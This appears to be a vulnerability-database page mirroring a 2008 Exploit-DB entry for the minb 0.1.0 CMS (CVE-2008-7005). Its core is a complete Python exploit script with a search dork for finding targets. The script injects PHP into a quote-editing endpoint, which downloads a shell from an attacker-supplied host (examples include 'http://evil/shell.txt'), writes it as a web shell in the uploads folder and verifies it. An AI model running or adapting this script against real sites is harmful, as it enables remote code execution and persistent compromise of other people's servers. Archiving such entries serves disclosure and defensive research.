Lucene search
+L

minb 0.1.0 - Remote Code Execution

🗓️ 11 Sep 2008 00:00:00Reported by Khashayar FereidaniType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 36 Views

minb 0.1.0 Remote Code Execution Exploit by R3d.W0r

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2008-7005
11 Sep 200800:00
circl
cve
CVE
CVE-2008-7005
19 Aug 200910:00
cve
cvelist
Cvelist
CVE-2008-7005
19 Aug 200910:00
cvelist
euvd
EUVD
EUVD-2008-6964
7 Oct 202500:30
euvd
nvd
NVD
CVE-2008-7005
19 Aug 200910:30
nvd
prion
Prion
Unrestricted file upload
19 Aug 200910:30
prion
#!/usr/bin/python
#####################################################################################
####                     minb Remote Code Execution Exploit                      ####
#####################################################################################
#                                                                                   #
#AUTHOR : IRCRASH (R3d.W0rm (Sina Yazdanmehr))                                      #
#Discovered by : IRCRASH (R3d.W0rm (Sina Yazdanmehr))                               #
#Our Site : Http://IRCRASH.COM                                                      #
#IRCRASH Team Members : Dr.Crash - R3d.w0rm (Sina Yazdanmehr)                       #
#####################################################################################
#                                                                                   #
#Site : http://minb.sf.net                                                          #
#                                                                                   #
#Download : http://switch.dl.sourceforge.net/sourceforge/minb/minb-0.1.0.tar.bz2    #
#                                                                                   #
#DORK : Powered by minb                                                             #
#                                                                                   #
#####################################################################################
#                                     [Note]                                        #
#                                                                                   #
#All php file in this cms have this bug ;)                                          #
#                                                                                   #
#####################################################################################
#                             Site : Http://IRCRASH.COM                             #
###################################### TNX GOD ######################################
import sys,urllib
if len(sys.argv)<3 :
    print "minb Remote code Execution Exploit"
    print "Powered by : R3d.W0rm"
    print "www.IrCrash.com"
    print "Usage : " + sys.argv[0] + " http://Target/path http://evil/shell.txt"
    print "Ex. " + sys.argv[0] + " http://site.com/minb http://r3d.a20.ir/r.txt"
    exit()
if 'http://' not in sys.argv[1] :
    sys.argv[1]='http://' + sys.argv[1]
if 'http://' not in sys.argv[2] :
    sys.argv[2]='http://' + sys.argv[2]
fp='/include/modules/top/1-random_quote.php?parse=r3d.w0rm'
data=urllib.urlencode({'quotes_to_edit':'quotes_to_edit=";$s=fopen(\'' + sys.argv[2] + '\',r);while(!feof($s)){$shell.=fread($s,1024);};fclose($s);$fp=fopen(\'../../../upload/pictures/r3d.w0rm.php\',\'w+\');fwrite($fp,$shell);fclose($fp);/*'})
urllib.urlopen(sys.argv[1] + fp,data)
urllib.urlopen(sys.argv[1] + fp)
test=urllib.urlopen(sys.argv[1] + '/upload/pictures/r3d.w0rm.php').read()
if 'Not Found' not in test :
    print "Shell Uploaded ."
    print sys.argv[1] + '/upload/pictures/r3d.w0rm.php'
exit()

# milw0rm.com [2008-09-11]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation